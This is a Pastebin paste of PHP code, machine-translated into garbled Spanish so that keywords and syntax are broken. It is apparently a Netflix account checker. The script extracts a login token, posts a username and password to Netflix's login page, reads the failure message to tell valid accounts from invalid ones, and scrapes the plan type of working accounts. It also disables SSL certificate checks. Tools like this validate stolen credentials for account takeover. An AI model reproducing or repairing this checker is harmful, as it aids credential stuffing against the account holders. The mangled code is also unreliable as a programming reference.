Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $ Res = cheque ("username", "password", $ info);
- if ($ res) {
- echo "de trabajo de la cuenta:" $ info,.
- }
- control de funcionamiento ($ logLogin, $ logPassword, & $ info)
- $ Url = "https://signup.netflix.com/Login";
- $ Content = rot ($ url, "", 0,1);
- $ Token = get_between ($ contenido, "name =" AuthURL "value =" ',' "');
- $ Url = "https://signup.netflix.com/Login";
- . $ Datos = "AuthURL =" $ Token "y correo electrónico =" urlencode (trim ($ logLogin)) "y la contraseña =" urlencode (trim ($ logPassword))....;
- $ Content = rizo ($ url, $ data, 0,1, "", "", 0);
- if (preg_match ('% no coincide con una cuenta en nuestro registros%', $ contenido)) {
- return 0;
- } Else {
- $ Url = "https://www.netflix.com/YourAccount?lnkctr=mhSS";
- $ Content = rot ($ url, "", 0,1, "", "", 0);
- $ Info = get_between ($ content, 'plandesc "> <strong>", "</ strong>');
- return 1;
- }
- }
- get_between función ($ string, $ inicio, $ end) {
- $ String = "" $ cadena.;
- $ Ini = strpos ($ string, $ start);
- if ($ ini == 0) return "";
- $ Ini + = strlen ($ start);
- $ Len = strpos ($ string, $ end, ini $) - $ ini;
- volver substr ($ cadena, $ ini, $ len);
- }
- función de rizo ($ url, $ campos = "", $ ssl = 0, $ followLocation = 0, $ árbitro = '', $ optUrl = '', $ deleteOldCookies 1 =) {
- $ Ch = curl_init ($ url);
- $ Header = array ();
- $ Header [0] = "Accept: text / xml, application / xml, application / xhtml + xml";
- $ Header [0] =. "Text / html; q = 0,9, text / plain; q = 0,8, image / jpeg, * / *; q = 0,5";
- $ Header [] = "Cache-Control: max-age = 0";
- $ Header [] = "Connection: keep-alive";
- $ Header [] = "Keep-Alive: 300";
- $ Header [] = "Accept-Charset: ISO-8859-1, UTF-8, q = 0,7, *; q = 0,7";
- $ Header [] = "Accept-Language: es-es, es; q = 0,5";
- $ Header [] = "Pragma:"; // navegadores mantener este espacio en blanco.
- curl_setopt ($ ch, CURLOPT_USERAGENT, 'Mozilla / 5.0 (Windows; U; Windows NT 5.2; en-US; rv: 1.8.1.7) Gecko / 20070914 Firefox / 2.0.0.7');
- curl_setopt ($ ch, CURLOPT_HTTPHEADER, $ header);
- if ($ deleteOldCookies) {
- file_put_contents ("cookie.txt", ""); // Intente eliminar la cookie de previsualización
- }
- curl_setopt ($ ch, CURLOPT_COOKIEJAR, "cookie.txt");
- curl_setopt ($ ch, CURLOPT_COOKIEFILE, "cookie.txt");
- curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt ($ ch, CURLOPT_AUTOREFERER, true);
- if ($ followLocation) {
- curl_setopt ($ ch, CURLOPT_FOLLOWLOCATION, true);
- }
- curl_setopt ($ ch, CURLOPT_URL, $ url);
- if ($ campos) {
- curl_setopt ($ ch, CURLOPT_POST, true);
- curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ campos);
- } Else {
- curl_setopt ($ ch, CURLOPT_POST, false);
- }
- if ($ árbitro) {
- curl_setopt ($ ch, CURLOPT_REFERER, $ árbitro);
- } Else {
- curl_setopt ($ ch, CURLOPT_REFERER, $ url);
- }
- if ($ ssl) {
- curl_setopt ($ ch, CURLOPT_SSL_VERIFYPEER, true);
- } Else {
- curl_setopt ($ ch, CURLOPT_SSL_VERIFYPEER, false);
- }
- if ($ optUrl) {
- curl_setopt ($ ch, CURLOPT_URL, $ optUrl);
- }
- volver curl_exec ($ ch);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement